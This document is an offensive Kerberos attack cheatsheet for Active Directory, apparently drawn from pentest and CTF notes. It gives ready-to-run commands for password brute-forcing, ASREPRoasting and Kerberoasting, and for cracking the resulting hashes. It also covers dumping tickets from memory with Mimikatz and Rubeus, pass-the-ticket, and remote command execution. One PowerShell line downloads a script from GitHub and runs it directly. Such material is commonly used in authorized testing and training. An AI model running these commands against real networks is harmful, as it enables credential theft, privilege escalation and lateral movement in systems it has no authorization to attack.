Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
python3 GetNPUsers.py COMPANY.local/james:Password123 -request -format john -outputfile /home/ubuntu/Documents/file/dir/asrep.out -dc-ip 172.16.1.20

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

• attempt with no password

python3 GetNPUsers.py COMPANY.local/james -no-pass -dc-ip 172.16.1.20

• Attempt with a userlist of potentially valid users

python3 GetNPUsers.py COMPANY.local/ -usersfile /home/ubuntu/Documents/htb/dir/users.txt -format hashcat -outputfile /home/ubuntu/Documents/htb/dir/valid-users.out

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

Cracking with dictionary of passwords:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>

SPN Service Principal Name Overview

• The structure of an SPN consists of three (3) main parts: Service Class: the service type, i.e., SQL, Web, Exchange, File, etc., and the Host where the service is usually running in the format of FQDN (Fully Qualified Domain Name)and port number.

• For example, below, the Microsoft SQL service runs on the dcorp-mgmt host on port 1443.

  The SPN is MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433

Kerberoasting

• Great reading:

• https://specterops.gitbook.io/ghostpack/rubeus/roasting

With Impacket example GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
python3 GetUserSPNs.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

📌HackTricks Tip: If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronize the host with the DC: ntpdate <IP of DC>

With Rubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

With Powershell:

#Invoke-Kerberoast.ps1 IEX Method
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
#or load this way
Import-Module .\invoke-kerberoast.ps1
#basic command 
Invoke-Kerberoast -Domain active.htb -OutputFormat Hashcat | fl
#verbose command 
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

• Can also acomplish this in native powershell if you have a session

Add-Type -AssemblyName System.IdentityModelNew -ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Service class\Hostname:Port"

Cracking with dictionary of passwords:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

With Invoke-Mimikatz.ps1

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::list /export"'

Harvest tickets from Windows

With Mimikatz:

mimikatz # sekurlsa::tickets /export

With Rubeus in Powershell:

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

To convert tickets between Linux/Windows format with ticket_converter.py:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Linux:

With Impacket examples:

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using ticket in Windows

Inject ticket with Mimikatz:

mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Misc

To get NTLM from password:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'

Tools

• Impacket

• Mimikatz

• Rubeus

• Rubeus with brute module

• PsExec

• kerbrute.py

• tickey

• ticket_converter.py